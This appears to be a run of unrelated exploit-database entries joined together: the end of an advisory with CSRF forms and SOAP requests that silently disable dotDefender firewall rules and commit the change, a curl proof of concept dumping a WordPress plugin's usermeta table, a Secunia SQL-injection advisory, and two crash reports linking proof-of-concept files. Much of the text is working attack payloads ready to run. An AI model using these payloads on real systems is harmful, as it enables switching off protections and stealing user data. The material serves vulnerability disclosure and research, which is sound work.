http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:ZSI="http://www.zolera.com/schemas/ZSI/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Body xmlns:ns1="http://applicure.com/dotDefender">
<ns1:set_xpath><site xsi:type="xsd:string">0</site>
<xpath
xsi:type="xsd:string">/ud_rules/request_rules/request_rule[rule_id=1]/enabled</xpath>
<xml xsi:type="xsd:base64Binary">PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+</xml>
</ns1:set_xpath></soapenv:Body></soapenv:Envelope>'>
<script>document.getElementById('SACRIFICIAL').submit()</script>
</form>
HTTP request 0x02 - send the next request to commit the changes
~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~
<form target="demonica" id="VICTIM" action="
http://localhost/dotDefender/dotDefenderWS.exe" ENCTYPE="text/plain"
method="post">
<input type="hidden" name='<soapenv:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:ZSI="http://www.zolera.com/schemas/ZSI/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Body xmlns:ns1="http://applicure.com/dotDefender"><ns1:commit>
<sites><element0 id="0" xsi:type="xsd:string">0</element0></sites>
</ns1:commit></soapenv:Body></soapenv:Envelope>'>
<script>function
TORMENT(){document.getElementById('VICTIM').submit()}</script>
</form>
Other SOAP payload examples for rule disabling:
~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=
this is disable a rule #19, send the below request to disable remote IP
protections:
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ZSI="
http://www.zolera.com/schemas/ZSI/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="
http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Body xmlns:ns1="http://applicure.com/dotDefender"><ns1:set_xpath><site
xsi:type="xsd:string">0</site>
<xpath
xsi:type="xsd:string">/ud_rules/request_rules/request_rule[rule_id=19]/enabled</xpath>
<xml
xsi:type="xsd:base64Binary">PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+</xml></ns1:set_xpath></soapenv:Body></soapenv:Envelope>
disable rule 20:
~=~=~=~=~=~=~=~=
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:ZSI="http://www.zolera.com/schemas/ZSI/" xmlns:SOAP-ENV="
http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soapenv="
http://schemas.xmlsoap.org/soap/envelope/"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><soapenv:Body
xmlns:ns1="http://applicure.com/dotDefender">
<ns1:set_xpath><site xsi:type="xsd:string">0</site><xpath
xsi:type="xsd:string">/ud_rules/request_rules/request_rule[rule_id=20]/enabled</xpath>
<xml
xsi:type="xsd:base64Binary">PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+</xml></ns1:set_xpath></soapenv:Body></soapenv:Envelope>
Finally commit them with below request:
~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:ZSI="http://www.zolera.com/schemas/ZSI/" xmlns:SOAP-ENV="
http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soapenv="
http://schemas.xmlsoap.org/soap/envelope/"
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><soapenv:Body
xmlns:ns1="http://applicure.com/dotDefender">
<ns1:commit><sites><element0 id="0"
xsi:type="xsd:string">0</element0></sites></ns1:commit></soapenv:Body></soapenv:Envelope>
Disclosure Timeline:
================================
Vendor Notifications:
initial report 11/16/2015
vendor response 11/20/2015
vendor delays for two months
1/19/2016 Vendor finally acknowledges vulnerability
inform vendor of a disclosure date
vendor no longer responds
Feb 8, 2016 : Public Disclosure
Exploitation Technique:
=======================
Remote
Severity Level:
==================
High
Description:
==========================================================
Request Method(s): [+] POST
Vulnerable Product: [+] DotDefender v5.0 & v5.13
===========================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
by hyp3rlinx
* Exploit Title: WordPress User Meta Manager Plugin [Information Disclosure]
* Discovery Date: 2015-12-28
* Public Disclosure Date: 2016-02-01
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4
* Category: webapps
## Description
User Meta Manager for WordPress plugin up to v3.4.6 suffers from a information disclosure vulnerability. Any registered user can perform an a series of AJAX
requests, in order to get all contents of `usermeta` DB table.
`usermeta` table holds additional information for all registered users. User Meta Manager plugin offers a `usermeta` table backup functionality. During the backup process the plugin takes no action in protecting the leakage of the table contents to unauthorized (non-admin) users.
## PoC
### Get as MySQL query
First a backup table must be created
curl -c ${USER_COOKIES} \
"http://${VULN_SITE}/wp-admin/admin-ajax.php\
?action=umm_switch_action&umm_sub_action=umm_backup"
Then we get the table with another request
curl -c ${USER_COOKIES} \
"http://${VULN_SITE}/wp-admin/admin-ajax.php\
?action=umm_switch_action&umm_sub_action=umm_backup&mode=sql"
### Get as CSV file
curl -c ${USER_COOKIES} \
"http://${VULN_SITE}/wp-admin/admin-ajax.php\
?action=umm_switch_action&umm_sub_action=umm_get_csv"
## Solution
Upgrade to version 3.4.8
source: http://www.securityfocus.com/archive/1/509995
======================================================================
Secunia Research 10/03/2010
- Employee Timeclock Software SQL Injection Vulnerabilities -
======================================================================
Table of Contents
Affected Software....................................................1
Severity.............................................................2
Vendor's Description of Software.....................................3
Description of Vulnerability.........................................4
Solution.............................................................5
Time Table...........................................................6
Credits..............................................................7
References...........................................................8
About Secunia........................................................9
Verification........................................................10
======================================================================
1) Affected Software
* Employee Timeclock Software 0.99
NOTE: Other versions may also be affected.
======================================================================
2) Severity
Rating: Moderately critical
Impact: Manipulation of data
Where: Remote
======================================================================
3) Vendor's Description of Software
"Timeclock-software.net's free software product will be a simple
solution to allow your employees to record their time in one central
location for easy access.".
Product Link:
http://timeclock-software.net/
======================================================================
4) Description of Vulnerability
Secunia Research has discovered some vulnerabilities in Employee
Timeclock Software, which can be exploited by malicious people to
conduct SQL injection attacks.
Input passed to the "username" and "password" parameters in auth.php
and login_action.php is not properly sanitised before being used in
SQL queries. This can be exploited to manipulate SQL queries by
injecting arbitrary SQL code.
======================================================================
5) Solution
Edit the source code to ensure that input is properly sanitised.
======================================================================
6) Time Table
25/02/2010 - Vendor notified.
04/03/2010 - Vendor notified again.
10/03/2010 - Public disclosure.
======================================================================
7) Credits
Discovered by Secunia Research.
======================================================================
8) References
The Common Vulnerabilities and Exposures (CVE) project has assigned
CVE-2010-0122 for the vulnerability.
======================================================================
9) About Secunia
Secunia offers vulnerability management solutions to corporate
customers with verified and reliable vulnerability intelligence
relevant to their specific system configuration:
http://secunia.com/advisories/business_solutions/
Secunia also provides a publicly accessible and comprehensive advisory
database as a service to the security community and private
individuals, who are interested in or concerned about IT-security.
http://secunia.com/advisories/
Secunia believes that it is important to support the community and to
do active vulnerability research in order to aid improving the
security and reliability of software in general:
http://secunia.com/secunia_research/
Secunia regularly hires new skilled team members. Check the URL below
to see currently vacant positions:
http://secunia.com/corporate/jobs/
Secunia offers a FREE mailing list called Secunia Security Advisories:
http://secunia.com/advisories/mailing_lists/
======================================================================
10) Verification
Please verify this advisory by visiting the Secunia website:
http://secunia.com/secunia_research/2010-11/
Complete list of vulnerability reports published by Secunia Research:
http://secunia.com/secunia_research/
======================================================================
Source: https://code.google.com/p/google-security-research/issues/detail?id=634
The attached mp4 file causes stack corruption in Flash. To run the test, load LoadMP42.swf?file=null.mp4 from a remote server.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39426-1.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=616
The attached file causes memory corruption when iy is scanned by the face recognition library in android.media.process
F/libc ( 4134): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x33333333333358 in tid 12161 (syncThread)
I/DEBUG ( 3021): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 3021): Build fingerprint: 'Verizon/zeroltevzw/zeroltevzw:5.1.1/LMY47X/G925VVRU4BOG9:user/release-keys'
I/DEBUG ( 3021): Revision: '10'
I/DEBUG ( 3021): ABI: 'arm64'
I/DEBUG ( 3021): pid: 4134, tid: 12161, name: syncThread >>> android.process.media <<<
I/DEBUG ( 3021): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x33333333333358
I/DEBUG ( 3021): x0 3333333333333330 x1 0000007f714b6800 x2 000000000000001f x3 3333333333333330
I/DEBUG ( 3021): x4 0000007f817fedb8 x5 0000007f7c1f4ea8 x6 0000007f7c1f4ec0 x7 0000007f7c109680
I/DEBUG ( 3021): x8 304b333333333333 x9 3033330333000000 x10 3333333333333333 x11 0103304b33333333
I/DEBUG ( 3021): x12 0000040033300311 x13 0300035033333333 x14 0300303333233333 x15 0000000000001484
I/DEBUG ( 3021): x16 0000007f74bfe828 x17 0000007f8c086008 x18 0000007f8c13b830 x19 0000007f7c279a00
I/DEBUG ( 3021): x20 0000000000000000 x21 0000007f7c1036a0 x22 0000007f817ff440 x23 0000007f7c279a10
I/DEBUG ( 3021): x24 0000000032d231a0 x25 0000000000000065 x26 0000000032d28880 x27 0000000000000065
I/DEBUG ( 3021): x28 0000000000000000 x29 0000007f817fecb0 x30 0000007f740be014
I/DEBUG ( 3021): sp 0000007f817fecb0 pc 0000007f740cefdc pstate 0000000080000000
I/DEBUG ( 3021):
I/DEBUG ( 3021): backtrace:
I/DEBUG ( 3021): #00 pc 0000000000065fdc /system/lib64/libfacerecognition.so (MdConvertLine+28)
I/DEBUG ( 3021): #01 pc 0000000000055010 /system/lib64/libfacerecognition.so (MCC_Process+160)
To reproduce, download the attached file and wait, or trigger media scanning by calling:
adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/shell/emulated/0/
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39425.zip